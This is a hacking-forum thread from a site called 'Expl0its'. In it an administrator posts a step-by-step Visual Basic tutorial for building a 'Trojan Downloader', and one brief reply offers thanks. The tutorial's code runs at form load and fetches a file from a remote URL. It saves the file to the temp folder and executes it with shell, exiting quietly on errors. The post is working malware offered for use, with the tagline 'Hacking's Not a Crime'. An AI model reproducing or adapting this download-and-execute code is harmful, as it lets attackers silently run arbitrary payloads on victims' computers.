VB downloader - Forum
Welcome To Expl0its Saturday, 12.03.2016, 9:44 AM
Main | Registration | Login Welcome Guest | RSS
[ New messages · Members · Forum rules · Search · RSS ]
Page 1 of 11
Forum moderator: iCryptic 
Forum » Coding Tutorials » Visual Basic, Any year. » VB downloader
VB downloader
Ex-RevDate: Friday, 10.08.2010, 4:23 AM | Message # 1
Unlimited Scorer
Group: Administrators
Messages: 71
Awards: 3
Reputation: 2
Status: Offline
Hi guys,

My Trojan Downloader program was a very popular program so I decided to create a short tutorial on how to make on. YOU MUST HAVE A DECENT KNOWLEDGE OF VISUAL BASIC! Okay, let's get started! First of all you will need the proper tools.

•Microsoft Visual Basic
•Decent knowledge of Visual Basic

Now open up VB and start a new standard exe. Now, you will need to add a reference to Microsoft Internet Transfer Control (Inet). Add an Inet control to your form and then double click the form so your code should now look like this:

Code:

Private Sub Form1_Load()

End Sub
Now add this text to your form:

Code:

Private Sub Form1_Load()
dim URL as string
dim extension as string
URL = "http://www.website.com/file.bat"
extension = ".bat"
Downloadfile(URL, extension)
End Sub
Create a new module and put this code in:

Code:

Public Function DownloadFile(url As String, extension As String)
On Error GoTo Error
Dim strURL As String
Dim bData() As Byte
Dim intFile As Integer
strURL = url
intFile = FreeFile()
bData() = Inet1.OpenURL(strURL, icByteArray)
Open Environ("temp") & "temp" & extension For Binary Access Write As #intFile
Put #intFile, , bData()
Close #intFile
Exit Function
Error:
End
End Function
Now add this code:

Code:

Private Sub Form1_Load()
dim URL as string
dim extension as string
URL = "http://www.website.com/file.bat"
extension = ".bat"
Downloadfile(URL, extension)
shell Environ("temp") & "temp" & extension
End Sub

You're done, you now have your basic downloader


Hacking's Not a Crime. It's a Skill.

*Can Code Vb
*Can Code HTML
*Can Code Java

PM me for help.

 
fadliDate: Thursday, 11.03.2011, 3:17 AM | Message # 2
Minimized
Group: Regular ~
Messages: 1
Awards: 0
Reputation: 0
Status: Offline
good jobs freen.. i very need your web.. biggrin
 
Forum » Coding Tutorials » Visual Basic, Any year. » VB downloader
Page 1 of 11
Search:

Copyright MyCorp © 2016 Site managed by uCoz